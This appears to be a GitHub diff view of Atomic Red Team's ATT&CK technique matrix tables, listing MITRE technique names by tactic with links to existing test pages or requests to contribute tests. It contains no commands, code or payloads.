| Valid Accounts: Default Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Command and Scripting Interpreter [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Browser Extensions [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Process Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Obfuscated Files or Information: Encrypted/Encoded File](../../T1027.013/T1027.013.md) | [OS Credential Dumping: Proc Filesystem](../../T1003.007/T1003.007.md) | [System Service Discovery](../../T1007/T1007.md) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Data Staged: Local Data Staging](../../T1074.001/T1074.001.md) | [Exfiltration Over Alternative Protocol - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol](../../T1048.002/T1048.002.md) | Remote Access Software [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application or System Exploitation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
| Valid Accounts: Default Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Command and Scripting Interpreter [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Browser Extensions [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Process Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Encrypted/Encoded File [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [OS Credential Dumping: Proc Filesystem](../../T1003.007/T1003.007.md) | [System Service Discovery](../../T1007/T1007.md) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Data Staged: Local Data Staging](../../T1074.001/T1074.001.md) | [Exfiltration Over Alternative Protocol - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol](../../T1048.002/T1048.002.md) | Remote Access Software [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application or System Exploitation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
| Trusted Relationship [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | User Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Scheduled Task/Job: Cron](../../T1053.003/T1053.003.md) | Escape to Host [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Rootkit](../../T1014/T1014.md) | Password Managers [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Network Sniffing](../../T1040/T1040.md) | Internal Spearphishing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Automated Collection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration Over C2 Channel [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Content Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Runtime Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
| Phishing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Software Deployment Tools [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Server Software Component: Transport Agent [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Valid Accounts: Default Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Abuse Elevation Control Mechanism: Sudo and Sudo Caching](../../T1548.003/T1548.003.md) | [Network Sniffing](../../T1040/T1040.md) | [Network Share Discovery](../../T1135/T1135.md) | Lateral Tool Transfer [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Clipboard Data](../../T1115/T1115.md) | [Exfiltration Over Alternative Protocol](../../T1048/T1048.md) | Traffic Signaling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Reflection Amplification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
| Valid Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Scheduled Task/Job: Systemd Timers](../../T1053.006/T1053.006.md) | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Event Triggered Execution: Trap](../../T1546.005/T1546.005.md) | Bootkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Ccache Files [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Peripheral Device Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | Remote Data Staging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration over USB [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Protocol Tunneling](../../T1572/T1572.md) | Service Exhaustion Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+1 -1
View File
@@ -8,7 +8,7 @@
| Compromise Hardware Supply Chain [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Create or Modify System Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Abuse Elevation Control Mechanism: Sudo and Sudo Caching](../../T1548.003/T1548.003.md) | [File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification](../../T1222.002/T1222.002.md) | OS Credential Dumping [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Account Discovery: Domain Account [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Audio Capture](../../T1123/T1123.md) | Exfiltration Over Bluetooth [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Publish/Subscribe Protocols [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application Exhaustion Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
| Supply Chain Compromise [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Command and Scripting Interpreter: AppleScript](../../T1059.002/T1059.002.md) | External Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Boot or Logon Autostart Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Path Interception by PATH Environment Variable [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Steal Web Session Cookie](../../T1539/T1539.md) | [Account Discovery: Local Account](../../T1087.001/T1087.001.md) | Remote Service Session Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Archive via Custom Method [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Automated Exfiltration [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Symmetric Cryptography [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Disk Wipe [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
| Exploit Public-Facing Application [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Native API [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Scheduled Task/Job: Cron](../../T1053.003/T1053.003.md) | Hide Artifacts: Email Hiding Rules [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Securityd Memory [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Virtualization/Sandbox Evasion: System Checks](../../T1497.001/T1497.001.md) | Software Deployment Tools [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Email Collection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration Over Symmetric Encrypted Non-C2 Protocol [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Fast Flux DNS [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Stored Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
| Content Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Input Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Boot or Logon Autostart Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Obfuscated Files or Information: Encrypted/Encoded File](../../T1027.013/T1027.013.md) | Brute Force: Password Cracking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Permission Groups Discovery: Domain Groups [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data from Removable Media [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration to Code Repository [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application Layer Protocol [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Service Stop [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
| Content Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Input Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Boot or Logon Autostart Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Encrypted/Encoded File [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Brute Force: Password Cracking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Permission Groups Discovery: Domain Groups [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data from Removable Media [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration to Code Repository [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application Layer Protocol [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Service Stop [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
| [Valid Accounts: Default Accounts](../../T1078.001/T1078.001.md) | Command and Scripting Interpreter [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Browser Extensions [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Additional Local or Domain Groups [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Rootkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Credentials from Password Stores: Keychain](../../T1555.001/T1555.001.md) | System Service Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Internal Spearphishing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Data Staged: Local Data Staging](../../T1074.001/T1074.001.md) | [Exfiltration Over Alternative Protocol - Exfiltration Over Asymmetric Encrypted Non-C2 Protocol](../../T1048.002/T1048.002.md) | Remote Access Software [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application or System Exploitation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
| Trusted Relationship [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [System Services: Launchctl](../../T1569.001/T1569.001.md) | [Scheduled Task/Job: Cron](../../T1053.003/T1053.003.md) | [Boot or Logon Initialization Scripts: Logon Script (Mac)](../../T1037.002/T1037.002.md) | [Abuse Elevation Control Mechanism: Sudo and Sudo Caching](../../T1548.003/T1548.003.md) | Password Managers [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Network Sniffing](../../T1040/T1040.md) | Lateral Tool Transfer [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Automated Collection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration Over C2 Channel [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Content Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Runtime Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
| Phishing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | XPC Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Process Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Masquerading: Match Legitimate Name or Location](../../T1036.005/T1036.005.md) | [Network Sniffing](../../T1040/T1040.md) | [Network Share Discovery](../../T1135/T1135.md) | | [Clipboard Data](../../T1115/T1115.md) | [Exfiltration Over Alternative Protocol](../../T1048/T1048.md) | Traffic Signaling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Reflection Amplification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
+4 -4
View File
@@ -15,7 +15,7 @@
| Phishing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Command and Scripting Interpreter: AppleScript](../../T1059.002/T1059.002.md) | [Hijack Execution Flow: Services Registry Permissions Weakness](../../T1574.011/T1574.011.md) | [Boot or Logon Autostart Execution](../../T1547/T1547.md) | [Direct Volume Access](../../T1006/T1006.md) | [OS Credential Dumping: LSA Secrets](../../T1003.004/T1003.004.md) | [System Service Discovery](../../T1007/T1007.md) | [Remote Services: Distributed Component Object Model](../../T1021.003/T1021.003.md) | [Email Collection: Local Email Collection](../../T1114.001/T1114.001.md) | [Exfiltration Over Alternative Protocol](../../T1048/T1048.md) | [Protocol Tunneling](../../T1572/T1572.md) | Runtime Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
| Valid Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Native API](../../T1106/T1106.md) | Bootkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Active Setup](../../T1547.014/T1547.014.md) | Modify Cloud Resource Hierarchy [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Forge Web Credentials: SAML token](../../T1606.002/T1606.002.md) | [Network Sniffing](../../T1040/T1040.md) | [Use Alternate Authentication Material: Pass the Ticket](../../T1550.003/T1550.003.md) | [Automated Collection](../../T1119/T1119.md) | Exfiltration over USB [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Mail Protocols [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Reflection Amplification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
| Spearphishing Voice [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Command and Scripting Interpreter: AutoHotKey & AutoIT](../../T1059.010/T1059.010.md) | [Boot or Logon Autostart Execution](../../T1547/T1547.md) | [Domain Trust Modification](../../T1484.002/T1484.002.md) | [Hide Artifacts: Email Hiding Rules](../../T1564.008/T1564.008.md) | [OS Credential Dumping: Proc Filesystem](../../T1003.007/T1003.007.md) | [Network Share Discovery](../../T1135/T1135.md) | Cloud Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Clipboard Data](../../T1115/T1115.md) | [Exfiltration Over Web Service: Exfiltration to Text Storage Sites](../../T1567.003/T1567.003.md) | Communication Through Removable Media [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Service Exhaustion Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
| Compromise Software Supply Chain [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Systemctl [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Active Setup](../../T1547.014/T1547.014.md) | [Create or Modify System Process: Windows Service](../../T1543.003/T1543.003.md) | [Obfuscated Files or Information: Encrypted/Encoded File](../../T1027.013/T1027.013.md) | Password Managers [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Peripheral Device Discovery](../../T1120/T1120.md) | [Software Deployment Tools](../../T1072/T1072.md) | [Data from Cloud Storage Object](../../T1530/T1530.md) | [Exfiltration Over Web Service: Exfiltration to Cloud Storage](../../T1567.002/T1567.002.md) | External Proxy [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Defacement [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
| Compromise Software Supply Chain [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Systemctl [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Active Setup](../../T1547.014/T1547.014.md) | [Create or Modify System Process: Windows Service](../../T1543.003/T1543.003.md) | Encrypted/Encoded File [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Password Managers [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Peripheral Device Discovery](../../T1120/T1120.md) | [Software Deployment Tools](../../T1072/T1072.md) | [Data from Cloud Storage Object](../../T1530/T1530.md) | [Exfiltration Over Web Service: Exfiltration to Cloud Storage](../../T1567.002/T1567.002.md) | External Proxy [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Defacement [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
| Domain Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Cloud API [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Browser Extensions [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Scheduled Task/Job: Cron](../../T1053.003/T1053.003.md) | [Rootkit](../../T1014/T1014.md) | [Network Sniffing](../../T1040/T1040.md) | [System Information Discovery](../../T1082/T1082.md) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Remote Data Staging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Data Transfer Size Limits](../../T1030/T1030.md) | Proxy [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Bandwidth Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
| Hardware Additions [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Deploy a container](../../T1610/T1610.md) | TFTP Boot [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Account Manipulation: Additional Cloud Roles](../../T1098.003/T1098.003.md) | [Masquerading: Double File Extension](../../T1036.007/T1036.007.md) | [Unsecured Credentials: Credentials in Registry](../../T1552.002/T1552.002.md) | [System Network Configuration Discovery: Wi-Fi Discovery](../../T1016.002/T1016.002.md) | Internal Spearphishing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Data from Local System](../../T1005/T1005.md) | Transfer Data to Cloud Account [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | IDE Tunneling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Financial Theft [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
| Drive-by Compromise [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Input Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Create or Modify System Process: Windows Service](../../T1543.003/T1543.003.md) | [Boot or Logon Autostart Execution: Print Processors](../../T1547.012/T1547.012.md) | [Abuse Elevation Control Mechanism: Bypass User Account Control](../../T1548.002/T1548.002.md) | [Modify Authentication Process: Password Filter DLL](../../T1556.002/T1556.002.md) | [Application Window Discovery](../../T1010/T1010.md) | [Lateral Tool Transfer](../../T1570/T1570.md) | [Archive Collected Data: Archive via Library](../../T1560.002/T1560.002.md) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Dynamic Resolution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Defacement: Internal Defacement](../../T1491.001/T1491.001.md) |
@@ -23,7 +23,7 @@
| Spearphishing via Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Kubernetes Exec Into Container](../../T1609/T1609.md) | [Office Application Startup](../../T1137/T1137.md) | AppDomainManager [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Modify Cloud Compute Infrastructure [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Steal or Forge Kerberos Tickets: AS-REP Roasting](../../T1558.004/T1558.004.md) | [Time Based Evasion](../../T1497.003/T1497.003.md) | [Remote Service Session Hijacking: RDP Hijacking](../../T1563.002/T1563.002.md) | Network Device Configuration Dump [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | DNS Calculation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Compute Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
| [Valid Accounts: Local Accounts](../../T1078.003/T1078.003.md) | [System Services: Launchctl](../../T1569.001/T1569.001.md) | [Account Manipulation: Additional Cloud Roles](../../T1098.003/T1098.003.md) | Additional Container Cluster Roles [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Pre-OS Boot: System Firmware](../../T1542.001/T1542.001.md) | Steal or Forge Kerberos Tickets [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Cloud Infrastructure Discovery](../../T1580/T1580.md) | [Use Alternate Authentication Material: Pass the Hash](../../T1550.002/T1550.002.md) | [Archive Collected Data](../../T1560/T1560.md) | | Multi-Stage Channels [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
| Wi-Fi Networks [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Network Device CLI [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Boot or Logon Autostart Execution: Print Processors](../../T1547.012/T1547.012.md) | Scheduled Task/Job [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Hijack Execution Flow: Services Registry Permissions Weakness](../../T1574.011/T1574.011.md) | [Credentials from Password Stores](../../T1555/T1555.md) | [Browser Bookmark Discovery](../../T1217/T1217.md) | [Remote Services: Remote Desktop Protocol](../../T1021.001/T1021.001.md) | Browser Session Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | Port Knocking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Account Access Removal](../../T1531/T1531.md) |
| | XPC Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Hijack Execution Flow: DLL](../../T1574.001/T1574.001.md) | Additional Local or Domain Groups [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Bootkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Unsecured Credentials](../../T1552/T1552.md) | Virtual Machine Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | DHCP Spoofing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | File Transfer Protocols [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Data Encrypted for Impact](../../T1486/T1486.md) |
| | XPC Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Hijack Execution Flow: DLL](../../T1574.001/T1574.001.md) | Additional Local or Domain Groups [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Bootkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Unsecured Credentials](../../T1552/T1552.md) | Virtual Machine Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Use Alternate Authentication Material: Application Access Token](../../T1550.001/T1550.001.md) | DHCP Spoofing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | File Transfer Protocols [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Data Encrypted for Impact](../../T1486/T1486.md) |
| | User Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Office Application Startup: Add-ins](../../T1137.006/T1137.006.md) | [Thread Execution Hijacking](../../T1055.003/T1055.003.md) | Mavinject [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Evil Twin [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [System Network Configuration Discovery](../../T1016/T1016.md) | | [Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay](../../T1557.001/T1557.001.md) | | One-Way Communication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Email Bombing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
| | [Software Deployment Tools](../../T1072/T1072.md) | [Server Software Component: Transport Agent](../../T1505.002/T1505.002.md) | [Event Triggered Execution: Application Shimming](../../T1546.011/T1546.011.md) | [Masquerading: Match Legitimate Name or Location](../../T1036.005/T1036.005.md) | Hybrid Identity [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Account Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | Web Portal Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | | [Proxy: Multi-hop Proxy](../../T1090.003/T1090.003.md) | Endpoint Denial of Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
